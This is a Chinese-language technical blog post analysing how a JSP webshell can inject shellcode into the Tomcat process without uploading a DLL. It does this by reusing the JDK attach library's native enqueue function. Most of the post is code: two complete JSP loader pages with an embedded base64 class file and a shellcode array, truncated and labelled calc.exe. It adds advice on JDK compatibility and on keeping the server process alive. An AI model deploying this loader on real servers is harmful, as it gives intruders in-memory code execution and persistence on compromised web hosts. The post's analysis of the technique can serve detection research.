JSP文件无依赖加载shellcode分析

前言

​ 去年分析过JSP加载shellcode上线的技术,但是由于需要先上传DLL到目标主机,所以在真实环境下并不方便使用,最近看到rebeyond发表的关于Java原生远程进程注入的文章,可以实现无需依赖上传的dll实现JSP加载shellcode的功能,因此决定写下这篇文章分析和复现其中的技术。

原理分析

​ 平时执行shellcode时经常会使用远程线程注入,也就是CreateRemoteThread。之前我们的实现中是自己通过JNI实现了一个CreateRemoteThread来加载我们的shellcode,这种情况当然是需要将生成的dll传到目标下的,但是如果JDK的Native 层的函数中中本身实现了CreateRemoteThread并且可以接收我们的参数执行,那不就不需要上传DLL了。

​ 在Java Agent中,我们要想实现在另一个进程中注入我们的Agent,一定要实现不同JVM之间通信,并且是需要在另一个JVM进程中注入我们的Agent并执行,所以一定会使用CreateRemoteThread。具体的实现在enqueue中,而具体的实现则在Java_sun_tools_attach_WindowsVirtualMachine_enqueue中。

1
static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;

​ 实现如下会在进程中为stub分配内存并通过CreateRemoteThread创建线程执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
jstring pipename, jobjectArray args)
{
...
//获取stub的长度和指向stub内容的指针

stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
...
//在进程空间中为stub分配内存

pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
//将stub中的内容写入分配的内存中
WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
...
//CreateRemoteThread在hProcess的进程空间中创建一个线程执行传入的stub。
hThread = CreateRemoteThread( hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pCode,
pData,
0,
NULL );

​ 下面我们要解决如何获取进程句柄的问题,在WindowsVirtualMachine中是通过openProcess得到进程句柄并传入到enqueue中执行的,我们分析下Native层函数openProcess的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
WindowsVirtualMachine(AttachProvider var1, String var2) throws AttachNotSupportedException, IOException {
super(var1, var2);
int var3;
try {
var3 = Integer.parseInt(var2);
} catch (NumberFormatException var6) {
throw new AttachNotSupportedException("Invalid process identifier");
}
this.hProcess = openProcess(var3);
try {
enqueue(this.hProcess, stub, (String)null, (String)null);
} catch (IOException var5) {
throw new AttachNotSupportedException(var5.getMessage());
}
}

Java_sun_tools_attach_WindowsVirtualMachine_openProcess中分了两种情况,如果传入的进程ID等于当前进程ID则获取当前进程的句柄并返回。如果不是则获取传入进程ID的句柄并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
JNIEXPORT jlong JNICALL Java_sun_tools_attach_WindowsVirtualMachine_openProcess
(JNIEnv *env, jclass cls, jint pid)
{
HANDLE hProcess = NULL;
//获取当前进程的句柄并返回
if (pid == (jint) GetCurrentProcessId()) {
/* process is attaching to itself; get a pseudo handle instead */
hProcess = GetCurrentProcess();
/* duplicate the pseudo handle so it can be used in more contexts */
if (DuplicateHandle(hProcess, hProcess, hProcess, &hProcess,
PROCESS_ALL_ACCESS, FALSE, 0) == 0) {
/*
* Could not duplicate the handle which isn't a good sign,
* but we'll try again with OpenProcess() below.
*/
hProcess = NULL;
}
}
//获取传入的进程ID的句柄并返回
if (hProcess == NULL) {
/*
* Attempt to open process. If it fails then we try to enable the
* SE_DEBUG_NAME privilege and retry.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (hProcess == NULL && GetLastError() == ERROR_ACCESS_DENIED) {
hProcess = doPrivilegedOpenProcess(PROCESS_ALL_ACCESS, FALSE,
(DWORD)pid);
}

if (hProcess == NULL) {
if (GetLastError() == ERROR_INVALID_PARAMETER) {
JNU_ThrowIOException(env, "no such process");
} else {
char err_mesg[255];
/* include the last error in the default detail message */
sprintf(err_mesg, "OpenProcess(pid=%d) failed; LastError=0x%x",
(int)pid, (int)GetLastError());
JNU_ThrowIOExceptionWithLastError(env, err_mesg);
}
return (jlong)0;
}
}

​ 如果我们想实现在JSP中加载shellcode的功能,按照目前的分析结果是需要知道进程ID的,但是有一个伪句柄的概念,所以我们就可以通过设置phandle的值为-1将shellcode注入到当前服务器的进程。

伪句柄是一个特殊的常量,当前为(HANDLE)-1,它被解释为当前进程的句柄。

实现

rebeyond师傅的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.lang.reflect.Method;

public class ThreadMain {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, ... (byte) 0x65, (byte) 0x00
};
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result);
}
}
}
}

​ 上面的代码放到JSP中执行会出现找不到sun.tools.attach.WindowsVirtualMachine类的异常,因为这个类在tools.jar中,而tools.jar并没有在JDK的核心库中。

image-20211022150206074

​ 但是本质上我们只是想使用native层的enqueue函数,但我们也知道JAVA调用native层的函数有一个命名规范,只有包名和类名都一致时才能调用到指定的native方法,enqueue方法在C++层面的实现函数为Java_sun_tools_attach_WindowsVirtualMachine_enqueue,所以我们要只要创建一个WindowsVirtualMachine类,并实现其中的enqueue方法即可。

1
2
3
4
5
6
7
8
9
10
11
package sun.tools.attach;

import java.io.IOException;

public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
static {
System.loadLibrary("attach");
}
}

​ 如果我们在JSP中直接定义WindowsVirtualMachine类,会被编译为一个内部类并且还会对类名进行改变,所以我们要先将这个类编译好通过defineClass加载即可,JSP完整实现如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "java.lang.reflect.Method" %>
<%@ page import = "java.util.Base64" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Arrays" %>
<%!
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}

}
%>
<%
try {
String classStr="yv66vgAAADQAHgoABQAUCAAVCgAWABcHABgHABkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZTsBAAdlbnF1ZXVlAQA9KEpbQkxqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspVgEACkV4Y2VwdGlvbnMHABoBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwABgAHAQAGYXR0YWNoBwAbDAAcAB0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABAAFAAAAAAADAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAABQAKAAAADAABAAAABQALAAwAAAGIAA0ADgABAA8AAAAEAAEAEAAIABEABwABAAgAAAAiAAEAAAAAAAYSArgAA7EAAAABAAkAAAAKAAIAAAAJAAUACgABABIAAAACABM=";


Class cls = new Myloader().get(Base64.getDecoder().decode(classStr));
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0,...
};
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result);
}
}

} catch (Exception e) {
e.printStackTrace();
}
%>

补充

​ 由于在不同的版本中BASE64的类不同,并且在低版本的JDK无法加载高版本编译的Class文件字节码。因此在编译时要尽可能选择低版本的JDK环境,比如JDK1.6。在JDK7中可以使用com.sun.org.apache.xerces.internal.impl.dv.util.Base64替代java.util.Base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "java.lang.reflect.Method" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Arrays" %>
<%@ page import = "com.sun.org.apache.xerces.internal.impl.dv.util.Base64" %>
<%!
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
try {
String classStr="yv66vgAAADMAHgoABQAUCAAVCgAWABcHABgHABkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZTsBAAdlbnF1ZXVlAQA9KEpbQkxqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspVgEACkV4Y2VwdGlvbnMHABoBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwABgAHAQAGYXR0YWNoBwAbDAAcAB0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABAAFAAAAAAADAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAABQAKAAAADAABAAAABQALAAwAAAGIAA0ADgABAA8AAAAEAAEAEAAIABEABwABAAgAAAAiAAEAAAAAAAYSArgAA7EAAAABAAkAAAAKAAIAAAAJAAUACgABABIAAAACABM=";
Class cls = new Myloader().get(Base64.decode(classStr));
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
byte buf[] = new byte[] { (byte) 0xfc,... };
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result);
}
}

} catch (Exception e) {
e.printStackTrace();
}
%>

坑点

​ 由于这种方式是通过Tomcat服务的进程上线的,所以如果在使用结束后直接退出,也会将Tomcat的进程给退出了,这点确实比较尴尬。目前也没有比较好的解决办法,只能在使用结束后直接sleep一个很大的值来模拟退出,但是确实不够优雅。

1644893533261

总结

rebeyond师傅Java内存攻击技术漫谈真的写的非常精彩,也让我意识到了自己知识储备上的不足。最后还是感谢师傅的分享。